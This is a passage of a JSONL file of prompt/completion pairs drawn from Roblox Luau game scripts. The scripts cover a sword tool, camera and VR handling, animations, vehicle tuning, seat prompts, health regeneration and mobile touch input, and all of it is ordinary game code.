)\n\t\n\tlocal part = workspace:FindPartOnRayWithWhitelist(DistanceRay, Hit_WhiteList , true)\t\n\t\n\t--warn((part and \"Part in range\") or \"Part not in range\")\n\t--assert(part, \"Part not in range: Potential exploit\")\n\tif part ~= hit then return end -- Potential exploiter may be abusing the touched events\n\t\n\tlocal FF, Hum = FindFirstChildOfClass(hit.Parent, \"ForceField\"), FindFirstChildOfClass(hit.Parent, \"Humanoid\")\n\t\n\tif FF or not Hum or Hum == Humanoid or Hum.Health <= 0 then return end --Don't hit yourself or anyone with a ForceField now..\n\t\n\tif IsTeamMate(Player, Players:GetPlayerFromCharacter(Hum.Parent)) then return end\n\t\n\tif Properties.Special then\n\t\tProperties.Special = false\n\t\t\n\t\tpcall(function()\n\t\t\t\n\t\tend)\n\t\t\n\t\tlocal Constellation_Link = Clone(WaitForChild(script, \"Constellation_Link\"))\n\t\t\n\t\tlocal Val = Instance.new(\"ObjectValue\")\n\t\tVal.Name = \"HandleRef\"\n\t\tVal.Value = Handle\n\t\tVal.Parent = Constellation_Link\n\t\t\n\t\tVal = Instance.new(\"ObjectValue\")\n\t\tVal.Name = \"Creator\"\n\t\tVal.Value = Player\n\t\tVal.Parent = Constellation_Link\n\t\t\n\t\tVal = Instance.new(\"ObjectValue\")\n\t\tVal.Name = \"InitialTarget\"\n\t\tVal.Value = Hum\n\t\tVal.Parent = Constellation_Link\n\t\t\n\t\tConstellation_Link.Parent = ServerScriptService\n\t\t\n\t\tConstellation_Link.Disabled = false\n\t\t\n\t\tConstellation_Link.AncestryChanged:Connect(function(obj, parent)\n\t\t\t\n\t\t\tif parent then return end\n\t\t\t\n\t\t\tif obj ~= Constellation_Link then return end\n\t\t\t\n\t\t\tprint(\"Reloading...\")\n\t\t\tpcall(function()\n\t\t\t\tHandle[\"Sparkle_Large_Blue\"].Enabled = false\n\t\t\t\tHandle[\"Sparkle_Large_Blue\"].Rate = Handle[\"Sparkle_Large_Blue\"].Rate / 8\n\t\t\tend)\n\t\t\tdelay(Properties.Special_Reload, function()\n\t\t\t\tpcall(function()\n\t\t\t\t\tHandle[\"Sparkle_Large_Blue\"].Enabled = true\n\t\t\t\tend)\n\t\t\t\tProperties.Special = true\n\t\t\tend)\n\t\t\t\n\t\tend)\n\tend\n\t\n\tUntagHumanoid(Hum)\n\tTagHumanoid(Hum, Player)\n\t\n\tlocal Damage = Seed:NextNumber(Properties[\"DamageValues\"][Properties.DamageMode].Min, Properties[\"DamageValues\"][Properties.DamageMode].Max)\n\t\n\tHum:TakeDamage(Damage)\n\t\n\tif Hum.Health <= 0 then\n\t\t--Finisher activated!\n\t\tlocal Finisher = Clone(WaitForChild(script, \"Finisher\"))\n\t\tFinisher.Parent = Hum.Parent\n\t\tFinisher.Disabled = false\n\tend\n\t\nend\n\nlocal LastAttack = tick()\nfunction Activated()\n\t\n\tif not Tool.Enabled then return end\n\t\n\tTool.Enabled = false\n\t\n\tlocal CurrentTime = tick()\n\t\n\tif (CurrentTime - LastAttack) <= 0.2 then\n\t\t\n\t\tfor _,v in pairs(GetChildren(Handle)) do\n\t\t\tif v and IsA(v, \"ParticleEmitter\") then\n\t\t\t\tcoroutine.wrap(function()\n\t\t\t\t\tlocal x = 0\n\t\t\t\t\trepeat\n\t\t\t\t\t\tlocal delta = RunService.Heartbeat:Wait()\n\t\t\t\t\t\tx = x + delta\n\t\t\t\t\t\tv:Emit((v.Enabled and math.ceil(v.Rate * .25)) or 0)\n\t\t\t\t\tuntil x >= .5\n\t\t\t\tend)()\n\t\t\t\t\n\t\t\tend\n\t\tend\n\t\t\n\t\tSounds.Lunge:Play()\n\t\t\n\t\tTool.Grip = DefaultGrip.Value * CFrame.Angles(math.rad(90),0,0)\n\t\t\n\t\tlocal LungeAnim = Instance.new(\"StringValue\")\n\t\tLungeAnim.Name = \"toolanim\"\n\t\tLungeAnim.Value = \"Lunge\"\n\t\tLungeAnim.Parent = Tool\n\t\t\n\t\t--Lunge\n\t\tProperties.DamageMode = \"Lunge\" --Should allow the sword to deal more damage while lunging\n\t\t--print(\"Lunge\")\n\t\twait(.5)\n\t\tProperties.DamageMode = \"Normal\"\n\t\tTool.Grip = DefaultGrip.Value\n\t\twait(.5)\n\telse\n\t\t--Slash\n\t\tSounds.Slash.TimePosition = Sounds.Slash.TimeLength/2\n\t\tSounds.Slash:Play()\n\t\tlocal SwingAnim = Instance.new(\"StringValue\")\n\t\tSwingAnim.Name = \"toolanim\"\n\t\tSwingAnim.Value = \"Slash\"\n\t\tSwingAnim.Parent = Tool\n\t\t--print(\"Swing\")\n\tend\n\t\n\tLastAttack = CurrentTime\n\t\n\tTool.Enabled = true\n\t\nend\n\n\nlocal Events = {} \n\nfunction Equipped()\n\t\n\tCharacter = Tool.Parent\n\t\n\tif not Character then return end\n\t\n\tHumanoid = FindFirstChildOfClass(Character, \"Humanoid\")\n\t\n\tif not Humanoid or Humanoid.Health <= 0 then return end\n\t\n\tSounds.Equip:Play()\n\t\n\tPlayer = Players:GetPlayerFromCharacter(Character)\n\t\n\tif Player then\n\t\tEvents[#Events+1] = Player.CharacterRemoving:Connect(Unequipped) --To keep some things from breaking\n\tend\n\t\n\tEvents[#Events+1] = Handle.Touched:Connect(Touched)\n\t\n\tEvents[#Events+1] = Tool.Activated:Connect(Activated)\n\t\n\tEvents[#Events+1] = Humanoid.Died:Connect(Unequipped)\n\t\n\tHumanoid.WalkSpeed = Properties.SpeedCap\n\tEvents[#Events+1] = Humanoid:GetPropertyChangedSignal(\"WalkSpeed\"):Connect(function()\n\t\tif not Humanoid then return end\n\t\tHumanoid.WalkSpeed = Properties.SpeedCap\n\tend)\n\t\n\t\n\t\nend\n\n\nfunction Unequipped()\n\t\n\tfor i=1,#Events,1 do\n\t\tif Events[i] then\n\t\t\tEvents[i]:Disconnect()\n\t\tend\n\tend\n\tEvents = {}\n\t\n\tif Humanoid then\n\t\tHumanoid.WalkSpeed = 16\n\tend\nend\n\nTool.Equipped:Connect(Equipped)\nTool.Unequipped:Connect(Unequipped)\n\n"} +{"prompt": "--print(name .. \" [\" .. idx .. \"] \" .. animTable[name][idx].anim.AnimationId .. \" (\" .. animTable[name][idx].weight .. \")\")", "completion": "\nidx = idx + 1\nend\nend\nend\n"} +{"prompt": "-- constants", "completion": "\n\nlocal EFFECTS\t= Workspace:WaitForChild(\"Effects\")\n"} +{"prompt": "--Now, for the teleporting...", "completion": "\nlocal isBusy = false --We use this to make sure we don't do two things at once\n"} +{"prompt": "--shot data", "completion": "\nlocal lasttimeshot = tick()\n\nragdollbullettable = {}\n"} +{"prompt": "--[ Setup ]--\n-- Locations", "completion": "\nlocal StealthLava = script.Parent\nlocal Player = game.Players.LocalPlayer\nlocal Avatar = Player.Character\nlocal Mouse = Player:GetMouse()\n"} +{"prompt": "-- [[ VR Support Section ]] --", "completion": "\n\nfunction BaseCamera:ApplyVRTransform()\n\tif not VRService.VREnabled then\n\t\treturn\n\tend\n\n\t--we only want this to happen in first person VR\n\tlocal rootJoint = self.humanoidRootPart and self.humanoidRootPart:FindFirstChild(\"RootJoint\")\n\tif not rootJoint then\n\t\treturn\n\tend\n\n\tlocal cameraSubject = game.Workspace.CurrentCamera.CameraSubject\n\tlocal isInVehicle = cameraSubject and cameraSubject:IsA(\"VehicleSeat\")\n\n\tif self.inFirstPerson and not isInVehicle then\n\t\tlocal vrFrame = VRService:GetUserCFrame(Enum.UserCFrame.Head)\n\t\tlocal vrRotation = vrFrame - vrFrame.p\n\t\trootJoint.C0 = CFrame.new(vrRotation:vectorToObjectSpace(vrFrame.p)) * CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\telse\n\t\trootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0)\n\tend\nend\n\nfunction BaseCamera:IsInFirstPerson()\n\treturn self.inFirstPerson\nend\n\nfunction BaseCamera:ShouldUseVRRotation()\n\tif not VRService.VREnabled then\n\t\treturn false\n\tend\n\n\tif not self.VRRotationIntensityAvailable and tick() - self.lastVRRotationIntensityCheckTime < 1 then\n\t\treturn false\n\tend\n\n\tlocal success, vrRotationIntensity = pcall(function() return StarterGui:GetCore(\"VRRotationIntensity\") end)\n\tself.VRRotationIntensityAvailable = success and vrRotationIntensity ~= nil\n\tself.lastVRRotationIntensityCheckTime = tick()\n\n\tself.shouldUseVRRotation = success and vrRotationIntensity ~= nil and vrRotationIntensity ~= \"Smooth\"\n\n\treturn self.shouldUseVRRotation\nend\n\nfunction BaseCamera:GetVRRotationInput()\n\tlocal vrRotateSum = ZERO_VECTOR2\n\tlocal success, vrRotationIntensity = pcall(function() return StarterGui:GetCore(\"VRRotationIntensity\") end)\n\n\tif not success then\n\t\treturn\n\tend\n\n\tlocal vrGamepadRotation = ZERO_VECTOR2\n\tlocal delayExpired = (tick() - self.lastVRRotationTime) >= self:GetRepeatDelayValue(vrRotationIntensity)\n\n\tif math.abs(vrGamepadRotation.x) >= self:GetActivateValue() then\n\t\tif (delayExpired or not self.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2]) then\n\t\t\tlocal sign = 1\n\t\t\tif vrGamepadRotation.x < 0 then\n\t\t\t\tsign = -1\n\t\t\tend\n\t\t\tvrRotateSum = vrRotateSum + self:GetRotateAmountValue(vrRotationIntensity) * sign\n\t\t\tself.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = true\n\t\tend\n\telseif math.abs(vrGamepadRotation.x) < self:GetActivateValue() - 0.1 then\n\t\tself.vrRotateKeyCooldown[Enum.KeyCode.Thumbstick2] = nil\n\tend\n\n\tself.vrRotateKeyCooldown[Enum.KeyCode.Left] = nil\n\tself.vrRotateKeyCooldown[Enum.KeyCode.Right] = nil\n\n\tif vrRotateSum ~= ZERO_VECTOR2 then\n\t\tself.lastVRRotationTime = tick()\n\tend\n\n\treturn vrRotateSum\nend\n\nfunction BaseCamera:CancelCameraFreeze(keepConstraints: boolean)\n\tif not keepConstraints then\n\t\tself.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, 1, self.cameraTranslationConstraints.z)\n\tend\n\tif self.cameraFrozen then\n\t\tself.trackingHumanoid = nil\n\t\tself.cameraFrozen = false\n\tend\nend\n\nfunction BaseCamera:StartCameraFreeze(subjectPosition: Vector3, humanoidToTrack: Humanoid)\n\tif not self.cameraFrozen then\n\t\tself.humanoidJumpOrigin = subjectPosition\n\t\tself.trackingHumanoid = humanoidToTrack\n\t\tself.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, 0, self.cameraTranslationConstraints.z)\n\t\tself.cameraFrozen = true\n\tend\nend\n\nfunction BaseCamera:OnNewCameraSubject()\n\tif self.subjectStateChangedConn then\n\t\tself.subjectStateChangedConn:Disconnect()\n\t\tself.subjectStateChangedConn = nil\n\tend\n\n\tlocal humanoid = workspace.CurrentCamera and workspace.CurrentCamera.CameraSubject\n\tif self.trackingHumanoid ~= humanoid then\n\t\tself:CancelCameraFreeze()\n\tend\n\tif humanoid and humanoid:IsA(\"Humanoid\") then\n\t\tself.subjectStateChangedConn = humanoid.StateChanged:Connect(function(oldState, newState)\n\t\t\tif VRService.VREnabled and newState == Enum.HumanoidStateType.Jumping and not self.inFirstPerson then\n\t\t\t\tself:StartCameraFreeze(self:GetSubjectPosition(), humanoid)\n\t\t\telseif newState ~= Enum.HumanoidStateType.Jumping and newState ~= Enum.HumanoidStateType.Freefall then\n\t\t\t\tself:CancelCameraFreeze(true)\n\t\t\tend\n\t\tend)\n\tend\nend\n\nfunction BaseCamera:GetVRFocus(subjectPosition, timeDelta)\n\tlocal lastFocus = self.LastCameraFocus or subjectPosition\n\tif not self.cameraFrozen then\n\t\tself.cameraTranslationConstraints = Vector3.new(self.cameraTranslationConstraints.x, math.min(1, self.cameraTranslationConstraints.y + 0.42 * timeDelta), self.cameraTranslationConstraints.z)\n\tend\n\n\tlocal newFocus\n\tif self.cameraFrozen and self.humanoidJumpOrigin and self.humanoidJumpOrigin.y > lastFocus.y then\n\t\tnewFocus = CFrame.new(Vector3.new(subjectPosition.x, math.min(self.humanoidJumpOrigin.y, lastFocus.y + 5 * timeDelta), subjectPosition.z))\n\telse\n\t\tnewFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z):lerp(subjectPosition, self.cameraTranslationConstraints.y))\n\tend\n\n\tif self.cameraFrozen then\n\t\t-- No longer in 3rd person\n\t\tif self.inFirstPerson then -- not VRService.VREnabled\n\t\t\tself:CancelCameraFreeze()\n\t\tend\n\t\t-- This case you jumped off a cliff and want to keep your character in view\n\t\t-- 0.5 is to fix floating point error when not jumping off cliffs\n\t\tif self.humanoidJumpOrigin and subjectPosition.y < (self.humanoidJumpOrigin.y - 0.5) then\n\t\t\tself:CancelCameraFreeze()\n\t\tend\n\tend\n\n\treturn newFocus\nend\n\nfunction BaseCamera:GetRotateAmountValue(vrRotationIntensity: string?)\n\tvrRotationIntensity = vrRotationIntensity or StarterGui:GetCore(\"VRRotationIntensity\")\n\tif vrRotationIntensity then\n\t\tif vrRotationIntensity == \"Low\" then\n\t\t\treturn VR_LOW_INTENSITY_ROTATION\n\t\telseif vrRotationIntensity == \"High\" then\n\t\t\treturn VR_HIGH_INTENSITY_ROTATION\n\t\tend\n\tend\n\treturn ZERO_VECTOR2\nend\n\nfunction BaseCamera:GetRepeatDelayValue(vrRotationIntensity: string?)\n\tvrRotationIntensity = vrRotationIntensity or StarterGui:GetCore(\"VRRotationIntensity\")\n\tif vrRotationIntensity then\n\t\tif vrRotationIntensity == \"Low\" then\n\t\t\treturn VR_LOW_INTENSITY_REPEAT\n\t\telseif vrRotationIntensity == \"High\" then\n\t\t\treturn VR_HIGH_INTENSITY_REPEAT\n\t\tend\n\tend\n\treturn 0\nend\n\nfunction BaseCamera:Update(dt)\n\terror(\"BaseCamera:Update() This is a virtual function that should never be getting called.\", 2)\nend\n\nreturn BaseCamera\n"} +{"prompt": "-- Prunes any stories and test files that are included with the DevModule. These\n-- are not needed at runtime.", "completion": "\nlocal function prune(instance: Instance)\n\tfor _, descendant in ipairs(instance:GetDescendants()) do\n\t\tlocal name = descendant.Name\n\t\tif name:match(\"%.story$\") or name:match(\"%.spec$\") then\n\t\t\tdescendant:Destroy()\n\t\tend\n\tend\nend\n\nlocal function getPackageVersion(package: ModuleScript): string\n\tlocal version = package:FindFirstChild(constants.PACKAGE_VERSION_NAME)\n\n\tassert(\n\t\tversion and version:IsA(\"StringValue\"),\n\t\tconstants.PACKAGE_VERSION_OBJECT_MISSING:format(\n\t\t\tpackage.Name,\n\t\t\tconstants.PACKAGE_VERSION_NAME,\n\t\t\tpackage:GetFullName()\n\t\t)\n\t)\n\tassert(version.Value ~= \"\", constants.PACKAGE_VERSION_EMPTY:format(package.Name, version:GetFullName()))\n\n\treturn version.Value\nend\n"} +{"prompt": "-- Now with exciting TeamColors HACK!", "completion": "\n\n\n\n\n\nfunction waitForChild(parent, childName)\n\n\n\twhile true do\n\n\n\t\tlocal child = parent:findFirstChild(childName)"} +{"prompt": "-- Toggle pan", "completion": "\ndo\n\tlocal holdPan = false\n\tlocal togglePan = false\n\tlocal lastRmbDown = 0 -- tick() timestamp of the last right mouse button down event\n\t\n\tfunction CameraInput.getHoldPan(): boolean\n\t\treturn holdPan\n\tend\n\t\n\tfunction CameraInput.getTogglePan(): boolean\n\t\treturn togglePan\n\tend\n\t\n\tfunction CameraInput.getPanning(): boolean\n\t\treturn togglePan or holdPan\n\tend\n\t\n\tfunction CameraInput.setTogglePan(value: boolean)\n\t\ttogglePan = value\n\tend\n\t\n\tlocal cameraToggleInputEnabled = false\n\tlocal rmbDownConnection\n\tlocal rmbUpConnection\n\t\n\tfunction CameraInput.enableCameraToggleInput()\n\t\tif cameraToggleInputEnabled then\n\t\t\treturn\n\t\tend\n\t\tcameraToggleInputEnabled = true\n\t\n\t\tholdPan = false\n\t\ttogglePan = false\n\t\n\t\tif rmbDownConnection then\n\t\t\trmbDownConnection:Disconnect()\n\t\tend\n\t\n\t\tif rmbUpConnection then\n\t\t\trmbUpConnection:Disconnect()\n\t\tend\n\t\n\t\trmbDownConnection = rmbDown:Connect(function()\n\t\t\tholdPan = true\n\t\t\tlastRmbDown = tick()\n\t\tend)\n\t\n\t\trmbUpConnection = rmbUp:Connect(function()\n\t\t\tholdPan = false\n\t\t\tif tick() - lastRmbDown < MB_TAP_LENGTH and (togglePan or UserInputService:GetMouseDelta().Magnitude < 2) then\n\t\t\t\ttogglePan = not togglePan\n\t\t\tend\n\t\tend)\n\tend\n\t\n\tfunction CameraInput.disableCameraToggleInput()\n\t\tif not cameraToggleInputEnabled then\n\t\t\treturn\n\t\tend\n\t\tcameraToggleInputEnabled = false\n\t\n\t\tif rmbDownConnection then\n\t\t\trmbDownConnection:Disconnect()\n\t\t\trmbDownConnection = nil\n\t\tend\n\t\t\n\t\tif rmbUpConnection then\n\t\t\trmbUpConnection:Disconnect()\n\t\t\trmbUpConnection = nil\n\t\tend\n\tend\nend\n\nreturn CameraInput\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\n\tcurrentAnim = \"\"\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (oldAnimTrack ~= nil) then\n\t\toldAnimTrack:Stop()\n\t\toldAnimTrack:Destroy()\n\t\toldAnimTrack = nil\n\tend\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\treturn oldAnim\nend\n\nfunction setAnimationSpeed(speed)\n\tif speed ~= currentAnimSpeed then\n\t\tcurrentAnimSpeed = speed\n\t\tcurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then"} +{"prompt": "--Get touch input", "completion": "\nButtonGui.TouchImage.InputBegan:Connect(function(InputObj)\n\tif InputObj.UserInputType == Enum.UserInputType.Touch then\n\t\tif AdornedSeat then\n\t\t\tEnterStart(\"Touch\")\n\t\tend\n\tend\nend)\n\nButtonGui.TouchImage.InputEnded:Connect(function(InputObj)\n\tif InputObj.UserInputType == Enum.UserInputType.Touch then\n\t\tEnterKeyDown = false\n\tend\nend)\n\nfunction DisplayPrompt(Part)\n\tAdornedSeat = Part\n\tButtonGui.Adornee = Part\n\tButtonGui.Parent = Player.PlayerGui\n\tButtonGui.Enabled = true\nend\n\nfunction HidePrompt()\n\tAdornedSeat = nil\n\tButtonGui.Adornee = nil\n\tButtonGui.Parent = script\n\tButtonGui.Enabled = false\nend\n\nwhile true do\n\tif HRP and Humanoid then\n\t\tif not Humanoid.Sit then\n\t\t\tlocal Closest = math.huge\n\t\t\tlocal ClosestSeat = nil\n\t\t\tfor i,Seat in pairs(Seats) do\n\t\t\t\tlocal Dist = (HRP.Position - Seat.Position).magnitude\n\t\t\t\tif Dist < Closest and Dist < MaxDistance and not Seat:FindFirstChild(\"SeatWeld\") then\n\t\t\t\t\tClosest = Dist\n\t\t\t\t\tClosestSeat = Seat\n\t\t\t\tend\n\t\t\tend\n\t\t\tif ClosestSeat then\n\t\t\t\tDisplayPrompt(ClosestSeat)\n\t\t\telse\n\t\t\t\tHidePrompt()\n\t\t\tend\n\t\telse\n\t\t\tHidePrompt()\n\t\tend\n\telse\n\t\tHidePrompt()\n\tend\n\twait(0.15)\nend\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 335\n\tTune.IdleRPM\t\t= 700\n\tTune.PeakRPM\t\t= 5600\n\tTune.Redline\t\t= 6200\n\tTune.EqPoint\t\t= 5250\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.35\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 200\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 0\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 700\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "-- httpImpl : (table, optional) a service that implements RequestAsync", "completion": "\nfunction Networking.new(httpImpl)\n\tif not httpImpl then\n\t\thttpImpl = HttpService\n\tend\n\n\tlocal n = {\n\t\t-- some default headers\n\t\t_headers = {\n\t\t\t[\"Content-Type\"] = \"application/json\",\n\t\t},\n\n\t\t-- the object that will fire the http requests\n\t\t_httpImpl = httpImpl\n\t}\n\tsetmetatable(n, Networking)\n\n\treturn n\nend\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\n\tcurrentAnim = \"\"\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (oldAnimTrack ~= nil) then\n\t\toldAnimTrack:Stop()\n\t\toldAnimTrack:Destroy()\n\t\toldAnimTrack = nil\n\tend\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\treturn oldAnim\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then"} +{"prompt": "--[[*\n * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n ]]", "completion": "\n\nlocal CurrentModule = script.Parent\nlocal Packages = CurrentModule.Parent\nlocal LuauPolyfill = require(Packages.LuauPolyfill)\nlocal Boolean = LuauPolyfill.Boolean\nlocal RobloxShared = require(Packages.RobloxShared)\ntype Writeable = RobloxShared.Writeable\nlocal exports = {}\n\nlocal function clearLine(stream: Writeable): ()\n\tif Boolean.toJSBoolean(stream.isTTY) then\n\t\tstream:write(\"\\x1b[999D\\x1b[K\")\n\tend\nend\nexports.default = clearLine\n\nreturn exports\n"} +{"prompt": "-- util", "completion": "\n\nfunction waitForChild(parent, childName)\n\tlocal child = parent:findFirstChild(childName)\n\tif child then return child end\n\twhile true do\n\t\tchild = parent.ChildAdded:wait()\n\t\tif child.Name==childName then return child end\n\tend\nend\n\nfunction newSound(id)\n\tlocal sound = Instance.new(\"Sound\")\n\tsound.SoundId = id\n\tsound.archivable = false\n\tsound.Parent = script.Parent.Head\n\treturn sound\nend\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\nLift:WaitForChild(\"Velocity\").Changed:connect(function(vel)\n\tif vel > 0 then\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Dark green\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Dark green\")\n\t\tThis.Display.ARW1.M1.BrickColor = BrickColor.new(\"Dark green\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Really black\")\n\telseif vel < 0 then\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.M1.BrickColor = BrickColor.new(\"Dark green\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Dark green\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Dark green\")\n\telse\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.M1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Really black\")\n\tend\nend)\n"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nFigure = script.Parent\n\nHumanoid = Figure:WaitForChild(\"Humanoid\")\n\nRegenerating = false\n\nfunction RegenerateHealth()\n\tif Regenerating then\n\t\treturn\n\tend\n\tRegenerating = true\n\twhile Humanoid.Health < Humanoid.MaxHealth do\n\t\tlocal Second = wait(1)\n\t\tlocal Health = Humanoid.Health\n\t\tif Health > 0 and Health < Humanoid.MaxHealth then\n\t\t\tlocal NewHealthDelta = (0.01 * Second * Humanoid.MaxHealth)\n\t\t\tHealth = (Health + NewHealthDelta)\n\t\t\tHumanoid.Health = math.min(Health, Humanoid.MaxHealth)\n\t\tend\n\tend\n\tif Humanoid.Health > Humanoid.MaxHealth then\n\t\tHumanoid.Health = Humanoid.MaxHealth\n\tend\n\tRegenerating = false\nend\n\nHumanoid.HealthChanged:connect(RegenerateHealth) \n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 4050\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t.2\t\t,\n\t --[[Height]]\t\t.2\t\t,\n\t --[[Length]]\t\t.2\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= 0.3\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= 0.3\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1.5\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1.5\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "-- Get Callout", "completion": "\nlocal partDockA1Callout = script.Parent.SurfaceGui.ImageLabel\n\npartDockA1.Transparency = 1\npartDockA1Callout.ImageTransparency = 1\npartDockA1Callout.TextLabel.TextTransparency = 1\n\n"} +{"prompt": "-- you can mess with these settings", "completion": "\nlocal easingtime = 0.1 --0~1\nlocal walkspeeds = {\n\tenabled =\t\t true;\n\twalkingspeed =\t\t16;\n\tbackwardsspeed =\t10;\n\tsidewaysspeed =\t\t15;\n\tdiagonalspeed =\t\t16;\n\trunningspeed =\t\t25;\n\trunningFOV=\t\t\t85;\n}\n"} +{"prompt": "--[[\n\n\tMobile:GetDeviceAcceleration()\n\tMobile:GetDeviceGravity()\n\tMobile:GetDeviceRotation()\n\t\n\tMobile.TouchStarted(position)\n\tMobile.TouchEnded(position)\n\tMobile.TouchMoved(position, delta)\n\tMobile.TouchTapInWorld(position)\n\tMobile.TouchPinch(touchPositions, scale, velocity, state)\n\tMobile.TouchLongPress(touchPositions, state)\n\tMobile.TouchPan(touchPositions, totalTranslation, velocity, state)\n\tMobile.TouchRotate(touchPositions, rotation, velocity, state)\n\tMobile.TouchSwipe(swipeDirection, numberOfTouches)\n\tMobile.TouchTap(touchPositions)\n\tMobile.DeviceAccelerationChanged(acceleration)\n\tMobile.DeviceGravityChanged(gravity)\n\tMobile.DeviceRotationChanged(rotation, cframe)\n\t\n--]]", "completion": "\n\n\n\nlocal Mobile = {}\n\nlocal RAY = Ray.new\nlocal workspace = workspace\n\nlocal userInput = game:GetService(\"UserInputService\")\nlocal cam = workspace.CurrentCamera\n\n\nfunction Mobile:GetRay(position)\n\tlocal viewportMouseRay = cam:ViewportPointToRay(position.X, position.Y)\n\treturn RAY(viewportMouseRay.Origin, viewportMouseRay.Direction * 999)\nend\n\n\nfunction Mobile:Cast(position, ignoreDescendantsInstance, terrainCellsAreCubes, ignoreWater)\n\treturn workspace:FindPartOnRay(self:GetRay(position), ignoreDescendantsInstance, terrainCellsAreCubes, ignoreWater)\nend\n\n\nfunction Mobile:CastWithIgnoreList(position, ignoreDescendantsTable, terrainCellsAreCubes, ignoreWater)\n\treturn workspace:FindPartOnRayWithIgnoreList(self:GetRay(position), ignoreDescendantsTable, terrainCellsAreCubes, ignoreWater)\nend\n\n\nfunction Mobile:CastWithWhitelist(position, whitelistDescendantsTable, ignoreWater)\n\treturn workspace:FindPartOnRayWithWhitelist(self:GetRay(position), whitelistDescendantsTable, ignoreWater)\nend\n\n\nfunction Mobile:Start()\n\t\nend\n\n\nfunction Mobile:Init()\n\t\n\tself.TouchStarted = self.Shared.Event.new()\n\tself.TouchEnded = self.Shared.Event.new()\n\tself.TouchMoved = self.Shared.Event.new()\n\tself.TouchTapInWorld = self.Shared.Event.new()\n\tself.TouchPinch = self.Shared.Event.new()\n\tself.TouchLongPress = self.Shared.Event.new()\n\tself.TouchPan = self.Shared.Event.new()\n\tself.TouchRotate = self.Shared.Event.new()\n\tself.TouchSwipe = self.Shared.Event.new()\n\tself.TouchTap = self.Shared.Event.new()\n\t\n\tuserInput.TouchStarted:Connect(function(input, 